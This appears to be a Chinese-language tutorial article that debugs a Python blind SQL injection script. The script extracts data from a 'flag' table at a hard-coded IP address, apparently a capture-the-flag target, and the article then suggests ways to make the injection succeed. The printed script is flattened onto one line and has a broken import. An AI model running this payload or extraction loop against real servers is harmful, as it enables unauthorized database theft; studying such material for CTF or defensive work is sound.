sql注入攻擊導致空結果的原因及解決方法
本文分析一段python代碼,該代碼嘗試進行SQL注入攻擊,但結果卻為空。我們將探討導致空結果的原因,并提出相應的解決方法。
問題代碼及結果
以下Python代碼嘗試通過SQL注入獲取數據:
import requests import binASCII url = "http://110.41.8.154/" def join(arr): return ",".join([f"0x{binascii.hexlify(i.encode()).decode()}" if i != "" else "0x0" for i in arr]) result = ["","","","","",""] #長度為列數,包含一條隨機數列 result_i = 0 for i in range(1, 3000): min_value =32 max_value = 130 last_tmp = "" for j in range(min_value, max_value + 1): tmp = result[result_i] result[result_i] = tmp + chr(j) payload = { "id": f"740-(({join(result)})>(select * from(select *, floor(1+rand(5)*500000))`xxx`from(flag))`t`where(xxx=221556)))" } html = requests.get(url, params=payload) if "pk" not in html.text: if j == min_value + 1: result[result_i] = tmp result_i += 1 else: result[result_i] = last_tmp break else: result[result_i] = tmp last_tmp = tmp + chr(j) #找不到目標主機 if (result_i == len(result) - 1): break print(result) print("final flag",result)
運行結果:
['', '', '', '', '', ''] ['', '', '', '', '', ''] ... (repeated many times)
所有結果均為空。
原因分析
代碼嘗試利用盲注技術進行SQL注入。空結果可能由以下原因造成:
-
錯誤的Payload構造: join函數將結果轉換為十六進制,但sql語句的構造過于復雜,可能存在語法錯誤或與目標數據庫不兼容。 select * from (select *, floor(1+rand(5)*500000))xxx from (flag)t where (xxx=221556) 這部分SQL語句本身就存在問題,xxx的用法不規范,flag表和t表的含義不明確。
-
不準確的響應判斷: 代碼僅檢查響應中是否包含”pk”字符串。如果服務器返回的錯誤信息不包含”pk”,或者服務器響應方式與預期不同,代碼將無法正確判斷注入是否成功。
-
字符集限制: 循環遍歷的ASCII碼范圍(32-130)可能過于狹窄,目標數據庫中可能包含不在此范圍內的字符,導致無法完整提取數據。
-
目標服務器防護: 目標服務器可能已經采取了SQL注入防護措施,例如參數化查詢或輸入過濾,阻止了攻擊的成功。
解決方法
-
簡化Payload: 重寫SQL注入語句,使用更簡潔、更標準的SQL語法。例如,嘗試使用基于布爾盲注的更簡單的語句,逐步獲取數據。
-
改進響應判斷: 不要依賴單一的字符串”pk”進行判斷。 可以嘗試根據服務器響應的HTTP狀態碼、響應長度或其他特征來判斷注入是否成功。 更穩妥的方法是使用錯誤信息中包含的特定關鍵詞進行判斷。
-
擴展字符集: 擴大字符集范圍,例如包含更多特殊字符或非ASCII字符。
-
添加錯誤處理和日志: 添加try…except塊來捕獲異常,并記錄每次請求的payload、服務器響應和錯誤信息,以便調試。
-
了解目標數據庫: 了解目標數據庫的結構和數據類型,這對于構造有效的SQL注入語句至關重要。
總而言之,解決這個問題需要仔細檢查SQL語句的語法、服務器的響應機制,并采取更健壯的錯誤處理和日志記錄策略。 盲注攻擊本身就比較復雜,需要對目標系統有充分的了解,并且需要進行大量的嘗試和調整。 請勿在未經授權的情況下進行任何SQL注入攻擊。